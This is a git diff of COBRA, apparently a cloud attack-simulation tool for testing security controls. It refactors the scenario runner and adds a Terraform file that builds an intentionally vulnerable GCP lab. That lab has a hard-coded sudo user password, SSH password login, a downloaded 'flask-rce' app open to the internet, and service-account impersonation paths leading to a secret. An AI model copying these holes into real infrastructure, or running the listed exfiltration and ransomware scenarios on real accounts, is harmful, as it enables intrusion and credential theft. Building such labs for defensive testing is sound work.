diff --git a/.gitignore b/.gitignore index 9588c82..b2c553d 100644 --- a/.gitignore +++ b/.gitignore @@ -55,8 +55,16 @@ terraform.tfstate.backup *aws-scenario-1-output.json *aws-scenario-2-output.json +*aws-scenario-* +*gcp-scenario* *token.txt *cobra-as1-report.html *cobra-as2-report.html *cnbas-as1-report.html -*cnbas-as2-report.html \ No newline at end of file +*cnbas-as2-report.html + + +files/var/logs/* +files/var/output/* +files/var/reports/* +!.gitkeep \ No newline at end of file diff --git a/README.md b/README.md index d86c0a5..5cc2e82 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@

🚀 Cloud Offensive Breach and Risk Assessment (COBRA) Tool 👩‍💻

[![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) @@ -37,8 +37,13 @@ It facilitates Proof of Concept (POC) evaluations, assesses security controls, m - Python 3.8+ - pip3 -- Pulumi Account -- AWS CLI +- Pulumi CLI [Docs](https://www.pulumi.com/docs/install/) +- Pulumi Account [here](https://www.pulumi.com/) + - Create Pulumi Personal Access Token [Docs](https://www.pulumi.com/docs/pulumi-cloud/access-management/access-tokens/#creating-personal-access-tokens) + - Use shell to login to Pulumi `$pulumi login` (Paste access token) [Docs](https://www.pulumi.com/docs/cli/commands/pulumi_login/) +- AWS CLI installed + - Will use the default profile credentials unless defined with the environment variables `AWS_PROFILE` and `AWS_REGION` + - Must have the region defined. - Azure CLI - Google Cloud SDK @@ -104,6 +109,8 @@ options: Scenario selection ``` +>>Note* ONLY RUN INTO SANDBOX ENVIRONMENT + #### Simulate AWS Scenario ``` @@ -112,16 +119,19 @@ python3 cobra.py aws launch --simulation ``` - ____ ___ ____ ____ _ - / ___/ _ \| __ )| _ \ / \ -| | | | | | _ \| |_) | / _ \ -| |__| |_| | |_) | _ < / ___ \ - \____\___/|____/|_| \_\/_/ \_\ + ____ ___ ____ ____ _ + / ___| / _ \ | __ ) | _ \ / \ +| | | | | | | _ \ | |_) | / _ \ +| |___ | |_| | | |_) | | _ < / ___ \ + \____| \___/ |____/ |_| \_\ /_/ \_\ Select Attack Scenario of aws: 1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning 2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence +3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster +4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access +5. Instance takeover, abuse s3 access & perform ransomware using external KMS key Enter your choice: ``` @@ -142,13 +152,16 @@ python3 cobra.py aws destroy --scenario 1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning 2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence +3. Compromising a web app living inside a GKE Pod, access pod secret, escalate privilege, take over the cluster +4. Exfiltrate EC2 role credentials using IMDSv2 with least privileged access +5. Instance takeover, abuse s3 access & perform ransomware using external KMS key ### To Do / In Roadmap -3. Compromising a GKE Pod and accessing cluster secrets, taking over the cluster & escalating privileges at the Project level, possible project takeover. -4. Azure App exploit on a function, data exfiltration from Blob storage & abusing function misconfigs to escalate privileges & leaving a backdoor IAM entity. -5. Exploiting an App on VM, exfiltration of data from Cosmos DB & possible takeover of a resource group. -6. More scenarios loading... + +- Azure App exploit on a function, data exfiltration from Blob storage & abusing function misconfigs to escalate privileges & leaving a backdoor IAM entity. +- Exploiting an App on VM, exfiltration of data from Cosmos DB & possible takeover of a resource group. +- More scenarios loading... ## License diff --git a/cobra.py b/cobra.py index 93c4bc4..2116ae8 100644 --- a/cobra.py +++ b/cobra.py @@ -1,30 +1,24 @@ import argparse + from core import main -import pyfiglet -from termcolor import colored +from helpers.main import get_scenario_list -def display_banner(): - ascii_art = pyfiglet.figlet_format("COBRA") - print(colored(ascii_art, color="cyan")) def parse_arguments(): + scenarios = get_scenario_list() parser = argparse.ArgumentParser(description="Terminal-based option tool") parser.add_argument("cloud_provider", choices=["aws", "azure", "gcp"], help="Cloud provider (aws, azure, gcp)") parser.add_argument("action", choices=["launch", "status", "destroy"], help="Action to perform (launch, status, destroy)") parser.add_argument("--simulation", action="store_true", help="Enable simulation mode") - parser.add_argument("--scenario", choices=["scenario-1", "scenario-2"], default="scenario-1", help="Scenario selection") + parser.add_argument("--scenario", choices=scenarios, default=scenarios[0], help="Scenario selection") return parser.parse_args() + def main_function(cloud_provider, action, simulation, scenario): - # Call the main function from the imported module and pass the options main.main(cloud_provider, action, simulation, scenario) + if __name__ == "__main__": - display_banner() args = parse_arguments() - - # Convert argparse Namespace to dictionary options = vars(args) - - # Call the main function with options main_function(**options) \ No newline at end of file diff --git a/core/cnbas-logo.png b/core/cnbas-logo.png deleted file mode 100644 index 90fc4c6..0000000 Binary files a/core/cnbas-logo.png and /dev/null differ diff --git a/core/helpers.py b/core/helpers.py deleted file mode 100644 index b26f702..0000000 --- a/core/helpers.py +++ /dev/null @@ -1,34 +0,0 @@ -import os -import pyfiglet -import time -import subprocess -import json -from tqdm import tqdm -from time import sleep -from termcolor import colored - - - -def loading_animation(): - chars = "/—\\|" - for _ in range(10): - for char in chars: - print(f"\rLoading {char}", end="", flush=True) - time.sleep(0.1) - - -def generate_ssh_key(): - # Define the path to save the keys - key_path = os.path.expanduser("./id_rsa") - - # Check if SSH key already exists - if os.path.exists(key_path): - print("SSH key already exists. Deleting the existing key...") - os.remove(key_path) - - # Generate the SSH key pair - with open(os.devnull, 'w') as devnull: - subprocess.run(["ssh-keygen", "-t", "rsa", "-b", "4096", "-N", "", "-f", key_path], stdout=devnull, stderr=devnull) - print("SSH Key Pair generated successfully!") - - return key_path, key_path + ".pub" \ No newline at end of file diff --git a/core/main.py b/core/main.py index ddd9455..5ac79c5 100644 --- a/core/main.py +++ b/core/main.py @@ -1,98 +1,60 @@ -import os -import pyfiglet -import time -import subprocess -import json -from tqdm import tqdm -from time import sleep +#! /usr/bin/env python +# -*- coding: utf-8 -*- +"""Module providing a class for encapsulating COBRA scenarios.""" from termcolor import colored -from .report import gen_report -from .report import gen_report_2 -from scenarios.scenario_1.scenario_1 import scenario_1_execute -from scenarios.scenario_2.scenario_2 import scenario_2_execute -from scenarios.scenario_2.scenario_2 import scenario_2_destroy -def loading_animation(): - chars = "/—\\|" - for _ in range(10): - for char in chars: - print(f"\rLoading {char}", end="", flush=True) - time.sleep(0.1) +from core.scenario import Scenario +from helpers.main import print_ascii_art, get_scenarios_config -def select_cloud_provider(): - print(colored("Select Cloud Provider:", color="yellow")) - print(colored("1. AWS", color="green")) - print(colored("2. Azure", color="green")) - print(colored("3. GCP", color="green")) - while True: - try: - choice = int(input(colored("Enter your choice (1/2/3): ", color="yellow"))) - if choice not in [1, 2, 3]: - raise ValueError(colored("Invalid choice. Please enter 1, 2, or 3.", color="red")) - return choice - except ValueError as e: - print(e) def select_attack_scenario(cloud_provider): - print(colored("Select Attack Scenario of %s:", color="yellow") % cloud_provider) - print(colored("1. Exploit Vulnerable Application, EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning", color="green")) - print(colored("2. Rest API exploit - command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation & persistence", color="green")) + """Get attack scenario config.""" + scenarios_config = get_scenarios_config() + keys = list(scenarios_config.keys()) + keys.sort() + print(colored('Select Attack Scenario of %s:', color='yellow') % cloud_provider) + choices = [] + for key in keys: + index = int(key[-1:]) + choices.append(index) + print(colored('{}. {}: {}'.format( + index, scenarios_config[key]['title'], scenarios_config[key]['description']), + color='green')) while True: try: - choice = int(input(colored("Enter your choice: ", color="yellow"))) - if choice not in [1, 2]: - raise ValueError(colored("Invalid choice. Please enter 1 or 2.", color="red")) + choice = int(input(colored('Enter your choice: ', color='yellow'))) + if choice not in choices: + raise ValueError(colored('Invalid choice.', color='red')) return choice except ValueError as e: print(e) -def get_credentials(): - while True: - try: - access_key = input(colored("Enter Access Key: ", color="yellow")) - if not access_key: - raise ValueError(colored("Access Key cannot be empty.", color="red")) - secret_key = input(colored("Enter Secret Key: ", color="yellow")) - if not secret_key: - raise ValueError(colored("Secret Key cannot be empty.", color="red")) - return access_key, secret_key - except ValueError as e: - print(e) - -def execute_scenario(x): - try: - # Call the scenario function from the imported module - if x == 1: - scenario_1_execute() - elif x == 2: - scenario_2_execute() - else: - print("Invalid Scenario Selected") - print(colored("Scenario executed successfully!", color="green")) - except Exception as e: - print(colored("Error executing scenario:", color="red"), str(e)) def main(cloud_provider, action, simulation, scenario): - if cloud_provider == 'aws': - if action == 'launch': - if simulation is True: - scenario_choice = select_attack_scenario(cloud_provider) - if scenario_choice == 1: - # Pass the selected scenario module to execute - execute_scenario(1) - elif scenario_choice == 2: - execute_scenario(2) - #print(colored("Scenario coming soon!", color="yellow")) - elif action == 'status' and scenario == "scenario-1": - subprocess.call("cd ./scenarios/scenario_1/infra/ && pulumi stack ls", shell=True) - elif action == 'status' and scenario == "scenario-2": - subprocess.call("cd ./scenarios/scenario_2/infra/ && pulumi stack ls", shell=True) - elif action == 'destroy' and scenario == "scenario-1": - subprocess.call("cd ./scenarios/scenario_1/infra && pulumi destroy", shell=True) - elif action == 'destroy' and scenario == "scenario-2": - scenario_2_destroy() - else: - print('No options provided. --help to know more') + """Instantiate and run an attack scenario.""" + tool_name = 'C O B R A' + print_ascii_art(tool_name) + scenario_choice = select_attack_scenario(cloud_provider) + scenario = Scenario(scenario_choice) + if action == 'launch': + if simulation: + # TODO: what to do with cloud provider? + # scenario.setup() + scenario.attack() + # scenario.destroy() + # TODO: ^^^ do we really want to destroy the infra immediately? + # there's a separate command for destroy + scenario.generate_report() # TODO: not implemented + elif action == 'status': + # TODO + # subprocess.call('cd ./scenarios/scenario_2/infra/ && pulumi stack ls', shell=True) + pass + elif action == 'destroy': + scenario.destroy() + pass + else: + print('No options provided. --help to know more') + -if __name__ == "__main__": +if __name__ == '__main__': main() diff --git a/core/metadata.sh b/core/metadata.sh deleted file mode 100644 index 3875c40..0000000 --- a/core/metadata.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -export ATTACKER_SERVER_INSTANCE_ID=$(jq -r '.["Attacker Server Instance ID"]' ./core/aws-scenario-1-output.json) -export ATTACKER_SERVER_PUBLIC_IP=$(jq -r '.["Attacker Server Public IP"]'./core/aws-scenario-1-output.json) -export WEB_SERVER_INSTANCE_ID=$(jq -r '.["Web Server Instance ID"]' ./core/aws-scenario-1-output.json) -export WEB_SERVER_PUBLIC_IP=$(jq -r '.["Web Server Public IP"]' ./core/aws-scenario-1-output.json) diff --git a/core/report.py b/core/report.py index 385ea8c..bb44e36 100644 --- a/core/report.py +++ b/core/report.py @@ -1,338 +1,46 @@ -import webbrowser +#! /usr/bin/env python +# -*- coding: utf-8 -*- +"""Module for creating a report from an executed scenario.""" from pathlib import Path - -def gen_report(attacker_vm_id, attacker_vm_ip, infected_vm_id, infected_vm_ip ): - html_template = ''' - - - - - - COBRA Attack Path Report - - - -
-
- COBRA Logo -

COBRA Attack Path Report

-
-
-

Attack Path Scenario Explained

-

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application. Subsequently, this initial breach facilitates a chain of events, including the takeover of EC2 instances, exfiltration of credentials, and the anomalous provisioning of compute resources..

-
- -
-

Attack Scenario Breakdown

-

1. A Web Server EC2 with a vulnerable application container is launched.

-

2. Attacker Machine is launched, operates behind Tor.

-

3. Attacker exploits the Application, gets shell access of the EC2.

-

4. Attacker retrieves and exfiltrates the Role credentials attached to the EC2.

-

5. Attacker loads these credentials on his machine.

-

6. Attacker launches some infra as a post exploit step.

-
- -
-

Attack Path Graph

- Attack Path Graph -
-
-

Resource Meta Data

- - - - - - - - - - - - - - - - - - - -
Attacker VM ID:'''+attacker_vm_id+'''
Attacker VM IP :'''+attacker_vm_ip+'''
Infected VM ID:'''+infected_vm_id+'''
Infected VM IP:'''+infected_vm_ip+'''
-
-
-

List of Controls to Evaluate Post-Attack

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Controls
Check if controls can identify Vulnerabilities in EC2 instances
Check if controls can identify IAM high-privileged run-instance and pass-role permissions
Check if controls can identify anomaly activity through their threat detection
Check if controls can prevent the attack by blocking RCE payloads
Check if controls can able to identify metadata queries from audit logs
Check if controls logged the activity
-
-
- - - ''' - - with open("cobra-as1-report.html", "w+") as file: - file.write(html_template) - - - print("HTML report generated successfully.") - webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as1-report.html') - -def gen_report_2(API_GW_ID, LAMBDA_FUNC_ARN, API_GW_URL, LAMBDA_ROLE_NAME): - html_template = ''' - - - - - - COBRA Attack Path Report - - - -
-
- CNBAS Logo -

COBRA Attack Path Report

-
-
-

Attack Path Scenario Explained

-

The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role..

-
- -
-

Attack Scenario Breakdown

-

1. Application is exploited through API GW, lambda backend

-

2. Lambda Role credential is discovered and exfiltrated.

-

3. Discovery of Privilege Escalation possibility with the exfiltrated credential.

-

4. Attach Privileged Policy to the Role.

-

5. Provision a Backdoor IAM Role to maintain persistence.

-

6. Whitelist Attacker account id in the trust policy of the backdoor role.

-
- -
-

Attack Path Graph

- Attack Path Graph -
-
-

Resource Meta Data

- - - - - - - - - - - - - - - - - - - -
API GW ID:'''+API_GW_ID+'''
Lambda Function ARN :'''+LAMBDA_FUNC_ARN+'''
API GW URL:'''+API_GW_URL+'''
Lambda Role Name:'''+LAMBDA_ROLE_NAME+'''
-
-
-

List of Controls to Evaluate Post-Attack

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Controls
Check if API Gatway has Authentication & Autorization for APIs.
Check if API Gateway has WAF integrated which can stop L7 attacks.
Check if any Lambda has any defender layer which could prevent injection & credential exfil.
Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring.
Check if there are any SCPs which could prevent attaching privileged policies.
Check if new user/role/group creation is monitored.
-
-
- - - ''' - - with open("cobra-as2-report.html", "w+") as file: - file.write(html_template) - - - print("HTML report generated successfully.") - webbrowser.open_new_tab('file://'+ str(Path.cwd())+'/cobra-as2-report.html') - -#gen_report(ATTACKER_SERVER_INSTANCE_ID, ATTACKER_SERVER_PUBLIC_IP, WEB_SERVER_INSTANCE_ID, WEB_SERVER_PUBLIC_IP) - - +from string import Template + + +def _format_attack_steps(steps): + html_steps = [] + for step in steps: + html_steps.append('

{}

'.format(step)) + return ''.join(html_steps) + + +def _format_resources(resources): + html_resources = [] + for key in resources.keys(): + html_resources.append( + '{}{}'.format( + key, resources[key] + ) + ) + return ''.join(html_resources) + + +def _format_controls(controls): + html_controls = [] + for control in controls: + html_controls.append('{}'.format(control)) + return ''.join(html_controls) + + +def get_report(scenario_label, config, output_data): + template_path = Path(__file__).parent.parent / 'files' / 'templates' / 'report.html' + report_image_path = Path(__file__).parent.parent / 'scenarios_ng' / scenario_label / '_files' + report_data = { + 'attack_explanation': config['attack_explanation'], + 'attack_steps': _format_attack_steps(config['attack_steps']), + 'resources': _format_resources(output_data), + 'controls': _format_controls(config['post_attack_controls_eval_steps']), + 'path': report_image_path + } + with open(template_path, 'r') as f: + src = Template(f.read()) + result = src.substitute(report_data) + return result diff --git a/core/requirements.txt b/core/requirements.txt deleted file mode 100644 index 9ff7307..0000000 --- a/core/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -pyfiglet -termcolor diff --git a/core/scenario.py b/core/scenario.py new file mode 100644 index 0000000..c3ac57d --- /dev/null +++ b/core/scenario.py @@ -0,0 +1,132 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- +"""Module providing a class for encapsulating COBRA scenarios.""" +import importlib +import json +import webbrowser +from pathlib import Path +from termcolor import colored + +import yaml +from pulumi import automation as auto + +from core.report import get_report +from helpers.main import slugify, pbar_sleep + + +class Scenario(object): + """Class encapsulating all methods needed to run a scenario.""" + def __init__(self, scenario_id): + self.scenario_id = scenario_id + self.scenario_label = 'scenario_{}'.format(scenario_id) + try: + self.infra_mod = importlib.import_module( + '.{}.infra.extra'.format(self.scenario_label), 'scenarios_ng') + except ModuleNotFoundError: + self.infra_mod = None + self.attack_mod = importlib.import_module( + '.{}.attack'.format(self.scenario_label), 'scenarios_ng') + self.config = self._get_config() + self.title = self.config['title'] + self.description = self.config['description'] + self.slug = slugify(self.title) # e.g. title-of-scenario + self.output_path = self._get_output_path() + + def setup(self): + """Deploy resources needed for the scenario.""" + # TODO: logging instead of print here and elsewhere + print(colored('Deploying scenario infrastructure', color='red')) + self._extra_action('extra_setup') + self._deploy_infra() + self._extra_action('deploy_additional_resources') + + def attack(self): + """Run the attack scenario on the deployed infra/resources.""" + print(colored("Executing attack...", color="red")) + # TODO: sleep to ensure deployed resources are available? + # Need more reliable way to do this? (e.g. Pulumi API callback?) + pbar_sleep(10) + # TODO: Exception handling if no data + with open(self.output_path, 'r') as f: + data = json.load(f) + result = self.attack_mod.attack(data) + if (result): + print(colored('Attack succeeded', color='red')) + else: + print(colored('Attack failed', color='red')) + + def destroy(self): + """Destroy scenario resources and clean up.""" + print(colored('Destroying scenario infrastructure', color='red')) + self._destroy_infra() + if self.infra_mod: + with open(self.output_path, 'r') as f: + data = json.load(f) + print(colored("Deleting manually created resources not tracked by Pulumi's state", color="red")) + self._extra_action('destroy_additional_resources', data) + self._extra_action('extra_teardown') + + def generate_report(self): + """Generate report.""" + with open(self.output_path, 'r') as f: + output_data = json.load(f) + report = get_report(self.scenario_label, self.config, output_data) + report_path = Path(__file__).parent.parent \ + / 'files' / 'var' / 'reports' / '{}_report.html'.format( + self.scenario_label) + with open(report_path, 'w+') as file: + file.write(report) + webbrowser.open_new_tab('file://{}'.format(report_path)) + + def _get_stack(self): + stack_dir = Path(__file__).parent.parent / 'scenarios_ng' / self.scenario_label / 'infra' / 'stack' + stack = auto.create_or_select_stack( + # TODO: support for Pulumi programs defined as a function + # see https://www.pulumi.com/docs/reference/pkg/python/pulumi/#module-pulumi.automation + # project_name='cobra', + # program=self.infra_mod.pulumi_program + stack_name=self.scenario_label, + work_dir=stack_dir + ) + stack.workspace.install_plugin('aws', 'v4.0.0') + # stack.set_config('aws:region', auto.ConfigValue(value='us-east-2')) + stack.refresh(on_output=print) + return stack + + def _deploy_infra(self): + """Deploy required IaC infrastructure.""" + stack = self._get_stack() + stack.up(on_output=print) + outputs = stack.outputs() + outputs_dict = {} + for key in outputs.keys(): + outputs_dict[key] = outputs[key].value + with open(self.output_path, 'w') as file_: + file_.write(json.dumps(outputs_dict)) + + def _destroy_infra(self): + """Destroy the IaC stack.""" + stack = self._get_stack() + stack.destroy(on_output=print) + + def _extra_action(self, action, args=None): + if hasattr(self.infra_mod, action): + func = getattr(self.infra_mod, action) + if args: + func(args) + else: + func() + # TODO: log warning if func doesn't exist? + + def _get_config(self): + config_path = Path(__file__).parent.parent \ + / 'scenarios_ng' / self.scenario_label / '_files' / 'config.yaml' + with open(config_path, 'r') as file_: + config = yaml.load(file_, Loader=yaml.SafeLoader) + return config + + def _get_output_path(self): + output_path = Path(__file__).parent.parent \ + / 'files' / 'var' / 'output' / '{}.json'.format( + self.scenario_label) + return output_path diff --git a/files/templates/report.html b/files/templates/report.html new file mode 100644 index 0000000..377d55b --- /dev/null +++ b/files/templates/report.html @@ -0,0 +1,118 @@ + + + + + + COBRA Attack Path Report + + + +
+
+ COBRA Logo +

COBRA Attack Path Report

+
+
+

Attack Path Scenario Explained

+

$attack_explanation

+
+ +
+

Attack Scenario Breakdown

+ $attack_steps +
+ +
+

Attack Path Graph

+ Attack Path Graph +
+
+

Resource Metadata

+ + + $resources + +
+
+
+

List of Controls to Evaluate Post-Attack

+ + + + + + + + $controls + +
Controls
+
+
+ + diff --git a/files/var/logs/.gitkeep b/files/var/logs/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/files/var/output/.gitkeep b/files/var/output/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/files/var/reports/.gitkeep b/files/var/reports/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/files/var/ssh/.gitkeep b/files/var/ssh/.gitkeep new file mode 100644 index 0000000..e69de29 diff --git a/helpers/__init__.py b/helpers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/helpers/main.py b/helpers/main.py new file mode 100644 index 0000000..d410955 --- /dev/null +++ b/helpers/main.py @@ -0,0 +1,117 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- +import os +import re +import subprocess +import time +import logging + +from pathlib import Path, PurePath +from termcolor import colored +from time import sleep + +from tqdm import tqdm +import pyfiglet +import requests +import yaml + +logging.basicConfig(level=logging.INFO) + + +def loading_animation(num_dec_secs=10): + chars = "/—\\|" + for _ in range(num_dec_secs): + for char in chars: + print(f"\rLoading {char}", end="", flush=True) + time.sleep(0.1) + print('\r') + + +def print_ascii_art(text): + ascii_art = pyfiglet.figlet_format(text) + print(colored(ascii_art, color="cyan")) + + +def pbar_sleep(duration, label='Loading'): + """"Show a progress bar while sleeping for given duration.""" + with tqdm(total=duration, desc=label) as pbar: + # Loop until sleep_duration is reached + while duration > 0: + # Sleep for a shorter interval to update the progress bar + sleep_interval = min(1, duration) + sleep(sleep_interval) + # Update the progress bar with the elapsed time + pbar.update(sleep_interval) + duration -= sleep_interval + + +def generate_ssh_key(): + # Define the path to save the keys + key_path = Path(__file__).parent.parent \ + / 'files' / 'var' / 'ssh' / 'id_rsa' + # Check if SSH key already exists + if os.path.exists(key_path): + print("SSH key already exists. Deleting the existing key...") + os.remove(key_path) + + # Generate the SSH key pair + with open(os.devnull, 'w') as devnull: + subprocess.run(["ssh-keygen", "-t", "rsa", "-b", "4096", "-N", "", "-f", key_path], stdout=devnull, stderr=devnull) + # TODO: use Python library to generate SSH key + print("SSH Key Pair generated successfully!") + # return key_path, key_path + ".pub" + + +def slugify(s): + """Return a slug of a string, e.g. My Example becomes my-example""" + s = s.lower().strip() + s = re.sub(r'[^\w\s-]', '', s) + s = re.sub(r'[\s_-]+', '-', s) + s = re.sub(r'^-+|-+$', '', s) + return s + + +def http_request(url, method='GET', data={}, headers={}): + """Convenience method for HTTP requests""" + resp = requests.request(method, url, data=data, headers=headers) + return resp + + +def get_scenario_list(): + """Get a list of scenarios for selection from command line.""" + scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' + scenarios_list = [] + for path in Path(scenarios_path).glob('*'): + if os.path.isdir(path): + scenarios_list.append(PurePath(path).name) + scenarios_list.sort() + return scenarios_list + + +def get_scenarios_config(): + """Create dict containing scenario config data from every entry in + scenarios directory (title, description, etc.)""" + scenarios_path = Path(__file__).parent.parent / 'scenarios_ng' + scenarios_config = {} + for path in Path(scenarios_path).glob('*'): + if os.path.isdir(path): + scenario_name = PurePath(path).name + scenario_path = Path(scenarios_path) / scenario_name + config_path = Path(scenario_path, '_files', 'config.yaml') + with open(config_path, 'r') as file_: + config = yaml.load(file_, Loader=yaml.SafeLoader) + scenarios_config[scenario_name] = config + return scenarios_config + + +def get_project_root(): + return Path(__file__).parent.parent + + +def notify(msg, animate=True): + # TODO: log to file as well as console, add formatter(s) + logging.info(msg) + # print("-"*30) + # print(colored(msg, color="red")) + if animate: + loading_animation() diff --git a/helpers/ssh.py b/helpers/ssh.py new file mode 100644 index 0000000..b4decbb --- /dev/null +++ b/helpers/ssh.py @@ -0,0 +1,32 @@ +import paramiko + + +class SSHClient(object): + + def __init__(self, host, username, keypath): + self.host = host + self.username = username + self.keypath = keypath + self.connection = None + + def connect(self): + pkey = paramiko.RSAKey.from_private_key_file(self.keypath) + self.connection = paramiko.SSHClient() + policy = paramiko.AutoAddPolicy() + # TODO: ^^^ is this the same as `ssh -o 'StrictHostKeyChecking accept-new'` ?? + self.connection.set_missing_host_key_policy(policy) + self.connection.connect(self.host, username=self.username, pkey=pkey) + + def exec(self, command): + stdin, stdout, stderr = self.connection.exec_command(command) + err = stderr.read().decode() + if err: + # TODO: consider custom Exception + raise Exception( + 'Error executing command in SSH session: {}'.format(err)) + else: + return stdout.read().decode() + + def disconnect(self): + if self.connection: + self.connection.close() diff --git a/main.tf b/main.tf new file mode 100644 index 0000000..c683896 --- /dev/null +++ b/main.tf @@ -0,0 +1,234 @@ +# Define variables +variable "project_id" { + description = "The ID of the GCP project" +} + +variable "credentials_path" { + description = "The path to the GCP service account credentials file" + default = "path/to/your/credentials.json" +} + +# Define provider +provider "google" { + # credentials = file(var.credentials_path) + project = var.project_id + region = "us-central1" +} + +provider "random" { +} + +# Create GCP Service Account +resource "google_service_account" "panw_service_account" { + account_id = "panw-service-account" + display_name = "Panw Service Account" +} + +# Define custom IAM role +resource "google_project_iam_custom_role" "panw_service_account_role" { + role_id = "panwServiceAccountRole" + title = "Panw Service Account Role" + description = "Custom IAM role for Panw Service Account" + permissions = [ + "iam.roles.get", + "iam.roles.list", + "iam.serviceAccounts.getIamPolicy", + "iam.serviceAccounts.list", + "iam.serviceAccountKeys.create", + "resourcemanager.projects.getIamPolicy" + ] +} + +resource "google_project_iam_binding" "panw-service-role" { + project = var.project_id + role = "projects/${var.project_id}/roles/panwServiceAccountRole" + members = [ + "serviceAccount:${google_service_account.panw_service_account.email}" + ] + } + + resource "google_project_iam_binding" "sa_impersonation" { + project = var.project_id + role = "roles/iam.serviceAccountTokenCreator" + + members = [ + "serviceAccount:${google_service_account.panw_service_account.email}" + ] +} + +# Create GCP VM +resource "google_compute_instance" "victim_vm" { + name = "victim-vm" + machine_type = "e2-medium" + zone = "us-central1-a" # Specify your desired zone + + boot_disk { + initialize_params { + image = "ubuntu-os-cloud/ubuntu-2004-lts" # Ubuntu 20.04 LTS image + size = "30" + type = "pd-balanced" + } + } + + network_interface { + network = "default" + access_config { + // Allow SSH access + nat_ip = google_compute_address.external_ip.address + } + } + + metadata_startup_script = <<-EOF + #!/bin/bash +sed 's/PasswordAuthentication no/PasswordAuthentication yes/' -i /etc/ssh/sshd_config +systemctl restart sshd +export labUbuntuUserName=labuser +export labUserPassword=Password! +useradd $labUbuntuUserName +echo -e "$labUserPassword\n$labUserPassword" | passwd $labUbuntuUserName +echo 'labuser ALL=(ALL:ALL) ALL' >> /etc/sudoers +mkdir /home/$labUbuntuUserName +chown -R $labUbuntuUserName:$labUbuntuUserName /home/$labUbuntuUserName +sudo usermod -s /bin/bash $labUbuntuUserName +#sudo apt update -y +sudo apt install python3-pip -y +sudo apt install python3-flask -y +# sudo apt install docker.io -y +#sudo chmod 666 /var/run/docker.sock +#apt install docker-compose -y +sudo apt install unzip -y +#sudo usermod -aG docker $labUbuntuUserName +wget -P /home/$labUbuntuUserName/ https://cloudlabsdemo99.s3.amazonaws.com/flask-rce.zip +cd /home/$labUbuntuUserName/ +unzip /home/$labUbuntuUserName/flask-rce.zip +pip3 install -r requirements.txt +flask run --host=0.0.0.0 +EOF + + # Attach the service account to the VM with specified roles and permissions + service_account { + email = google_service_account.panw_service_account.email + scopes = ["cloud-platform"] + } + + metadata = { + iam-service-account = google_project_iam_custom_role.panw_service_account_role.role_id + } +} + +# External IP for HTTP 5000 access +resource "google_compute_address" "external_ip" { + name = "external8933" +} + +# Create firewall rule to allow HTTP 5000 access +resource "google_compute_firewall" "allow_ssh" { + name = "allow-ssh" + network = "default" + + allow { + protocol = "tcp" + ports = ["5000"] + } + + source_ranges = ["0.0.0.0/0"] +} + + +resource "random_string" "unique_id" { + special = false + length = 5 + min_lower = 5 +} + +# Create GCP Storage Bucket +resource "google_storage_bucket" "victim_bucket-38383" { + name = "victim-bucket-${random_string.unique_id.result}" + location = "US" +} + +# Grant permissions to GCP VM service account to access the bucket +resource "google_storage_bucket_iam_binding" "grant_vm_access" { + bucket = google_storage_bucket.victim_bucket-38383.name + role = "roles/storage.objectAdmin" + + members = [ + "serviceAccount:${google_compute_instance.victim_vm.service_account[0].email}" + ] +} + +# Create another GCP Secret Service Account +resource "google_service_account" "secret_manager_service_account" { + account_id = "secret-manager-service-account" + display_name = "Secret Manager Service Account" +} + +# Define custom Secret IAM role +resource "google_project_iam_custom_role" "panw_secret_role" { + role_id = "panwSecretAccountRole" + title = "Panw Secret Account Role" + description = "Custom IAM role for Panw Secret Account" + permissions = [ + "resourcemanager.projects.getIamPolicy", + "resourcemanager.projects.get", + "secretmanager.locations.get", + "secretmanager.secrets.list", + "secretmanager.versions.access", + "secretmanager.versions.get", + "secretmanager.versions.list", + "secretmanager.secrets.get" + ] +} + +# Attach the secret manager admin role to the service account +resource "google_project_iam_binding" "panw-secret-role" { + project = var.project_id + role = "projects/${var.project_id}/roles/panwSecretAccountRole" + members = [ "serviceAccount:${google_service_account.secret_manager_service_account.email}" ] + } + +# Create secret in Secret Manager +resource "google_secret_manager_secret" "flag_secret" { + provider = google-beta + secret_id = "flag-secret" + + replication { + user_managed { + replicas { + location = "us-central1" + } + replicas { + location = "us-east1" + } + } + } +} + +resource "google_secret_manager_secret_version" "flag_secret_version" { + provider = google-beta + secret = google_secret_manager_secret.flag_secret.name + secret_data = "7d61f93d434686fde32aad0011b24c13acf65f64" +} + +resource "google_service_account_iam_binding" "token_creator_binding" { + service_account_id = google_service_account.secret_manager_service_account.name + role = "roles/iam.serviceAccountTokenCreator" + + members = [ + "serviceAccount:${google_service_account.panw_service_account.email}", + ] +} + +resource "google_service_account_iam_binding" "account_user_binding" { + service_account_id = google_service_account.secret_manager_service_account.name + role = "roles/iam.serviceAccountUser" + + members = [ + "serviceAccount:${google_service_account.panw_service_account.email}", + ] +} + +# Output the public IP address of the VM +output "vm_public_ip" { + value = google_compute_address.external_ip.address +} diff --git a/requirements.txt b/requirements.txt index ccf8e97..8522a6a 